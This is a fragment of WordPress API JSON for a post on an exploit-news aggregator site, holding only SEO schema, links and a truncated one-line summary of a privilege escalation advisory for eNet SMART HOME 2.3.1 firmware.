class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41403#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41403\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 eNet SMART HOME 2.3.1 Privilege Escalation_PACKETSTORM:215794\",\"datePublished\":\"2026-02-18T12:49:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41403\"},\"wordCount\":2178,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41403#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41403\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41403\",\"name\":\"\ud83d\udcc4 eNet SMART HOME 2.3.1 Privilege Escalation_PACKETSTORM:215794 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-18T12:49:50+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41403#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41403\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41403#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 eNet SMART HOME 2.3.1 Privilege Escalation_PACKETSTORM:215794\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 eNet SMART HOME 2.3.1 Privilege Escalation_PACKETSTORM:215794 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41403","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 eNet SMART HOME 2.3.1 Privilege Escalation_PACKETSTORM:215794 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:38:00&#8243;,&#8221;description&#8221;:&#8221;The eNet Smart Home device firmware versions 2.3.1 build 46841 and 2.2.1 build 46056 exposes JSON\u2011RPC management methods that may allow authenticated low\u2011privileged users to...","og_url":"https:\/\/zero.redgem.net\/?p=41403","og_site_name":"zero redgem","article_published_time":"2026-02-18T12:49:50+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41403#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41403"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 eNet SMART HOME 2.3.1 Privilege Escalation_PACKETSTORM:215794","datePublished":"2026-02-18T12:49:50+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41403"},"wordCount":2178,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41403#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41403","url":"https:\/\/zero.redgem.net\/?p=41403","name":"\ud83d\udcc4 eNet SMART HOME 2.3.1 Privilege Escalation_PACKETSTORM:215794 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-18T12:49:50+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41403#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41403"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41403#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 eNet SMART HOME 2.3.1 Privilege Escalation_PACKETSTORM:215794"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41403","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41403"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41403\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41403"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41403"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41403"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}